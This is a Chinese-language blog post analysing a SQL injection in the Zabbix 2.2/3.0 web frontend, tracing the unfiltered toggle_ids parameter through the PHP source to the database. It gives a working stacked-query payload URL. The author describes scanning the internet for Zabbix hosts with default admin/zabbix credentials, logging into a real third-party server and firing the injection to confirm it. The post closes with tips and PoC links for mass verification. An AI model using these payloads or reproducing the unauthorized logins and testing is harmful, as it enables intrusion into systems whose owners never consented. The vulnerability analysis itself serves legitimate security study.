cdxy.me
Cyber Security / Data Science / Trading

概要

因为未能过滤掉latest.php页面中toggle_ids数组的输入,导致Zabbix 2.2.x,3.0.x 远程SQL注入

源码分析

下载了两份官方代码对比,左为3.0.4(已修复的版本),右为3.0.3 \zabbix-3.0.3rc1\frontends\php\jsrpc.php compare1 compare2 可见新版本中删除的代码即为漏洞触发部分。


/*
 * Ajax
 */
if (hasRequest('favobj')) {
    if ($_REQUEST['favobj'] == 'toggle') {
        // $_REQUEST['toggle_ids'] can be single id or list of ids,
        // where id xxxx is application id and id 0_xxxx is 0_ + host id
        if (!is_array($_REQUEST['toggle_ids'])) {
            if ($_REQUEST['toggle_ids'][1] == '_') {
                $hostId = substr($_REQUEST['toggle_ids'], 2);
                CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
            }
            else {
                $applicationId = $_REQUEST['toggle_ids'];
                CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
            }
        }
        else {
            foreach ($_REQUEST['toggle_ids'] as $toggleId) {
                if ($toggleId[1] == '_') {
                    $hostId = substr($toggleId, 2);
                    CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);
                }
                else {
                    $applicationId = $toggleId;
                    CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);
                }
            }
        }
    }
}

$_REQUEST获取的数据未经过滤,直接带入CProfile::update() 暂存更新的数据。

zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php

    public static function update($idx, $value, $type, $idx2 = 0) {
        if (is_null(self::$profiles)) {
            self::init();
        }

        if (!self::checkValueType($value, $type)) {
            return;
        }

        $profile = [
            'idx' => $idx,
            'value' => $value,
            'type' => $type,
            'idx2' => $idx2
        ];

        $current = self::get($idx, null, $idx2);
        if (is_null($current)) {
            if (!isset(self::$insert[$idx])) {
                self::$insert[$idx] = [];
            }
            self::$insert[$idx][$idx2] = $profile;
        }
        else {
            if ($current != $value) {
                if (!isset(self::$update[$idx])) {
                    self::$update[$idx] = [];
                }
                self::$update[$idx][$idx2] = $profile;
            }
        }

        if (!isset(self::$profiles[$idx])) {
            self::$profiles[$idx] = [];
        }

        self::$profiles[$idx][$idx2] = $value;
    }

latest.php末尾包含page_footer.php(line 829)

require_once dirname(__FILE__).'/include/page_footer.php';

跟入page_footer.php(line 38)

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

继续跟入CProfile::flush()

    public static function flush() {
        $result = false;

        if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
            $result = true;

            foreach (self::$insert as $idx => $profile) {
                foreach ($profile as $idx2 => $data) {
                    $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
                }
            }

            ...
        }

        return $result;
    }

继续跟入self::insertDB()

private static function insertDB($idx, $value, $type, $idx2) {
        $value_type = self::getFieldByType($type);

        $values = [
            'profileid' => get_dbid('profiles', 'profileid'),
            'userid' => self::$userDetails['userid'],
            'idx' => zbx_dbstr($idx),
            $value_type => zbx_dbstr($value),
            'type' => $type,
            'idx2' => $idx2
        ];

        return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
    }

跟入DBexecute() php/include/db.inc.php (line 499)

function DBexecute($query, $skip_error_messages = 0) {
    global $DB;

    if (!isset($DB['DB']) || empty($DB['DB'])) {
        return false;
    }

    $result = false;
    $time_start = microtime(true);

    $DB['EXECUTE_COUNT']++;

    switch ($DB['TYPE']) {
        case ZBX_DB_MYSQL:
            if (!$result = mysqli_query($DB['DB'], $query)) {
                error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
            }
            break;

    ... ...

    }
    if ($DB['TRANSACTIONS'] != 0 && !$result) {
        $DB['TRANSACTION_NO_FAILED_SQLS'] = false;
    }

    CProfiler::getInstance()->profileSql(microtime(true) - $time_start, $query);
    return (bool) $result;
}

最终在mysqli_query()执行。

实践

参考漏洞作者给出的Payload

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

直接访问latest.php 会返回一个You must login to view this page. 漏洞作者也指出登录后才可以(包括guest账号)。

懒得搭环境了,zabbix默认口令为admin/zabbix,正好之前写过这个PoC,先用它跑出几台机器试试。

https://github.com/Xyntax/POC-T/blob/master/script/zabbix-weakpass.py

python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30 结果还不少:

result

拿其中一个站,登录之后访问:

http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#

这里又报无权限,看了下源码,将sid参数值设置为登录后sessionid的后16位。

这里写图片描述

再次提交,回显看到MySQL的报错,证明漏洞存在。

这里写图片描述

自动化验证Tips

目前各平台流出的PoC问题:不清楚后端用的什么数据库,难以获得可信度大的回显(如 md5(0x11)

源码中显示支持这些 * oracle * mysql * db2 * postgresql * sqlite3 源码对于不同数据库报错格式有两种,可用于PoC验证的特征字段:

  • error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
  • error('SQL error ['.$query.'] in ['.$e.']');

目前可以用作检验标准的特征字段是:

  • table class="msgerr"
  • li class="error"
  • Error in query [ or SQL error [

可以多实践一些版本增加PoC的容错性。 刷洞的话不如直接用jsrpc.php的PoC: https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-sqli.py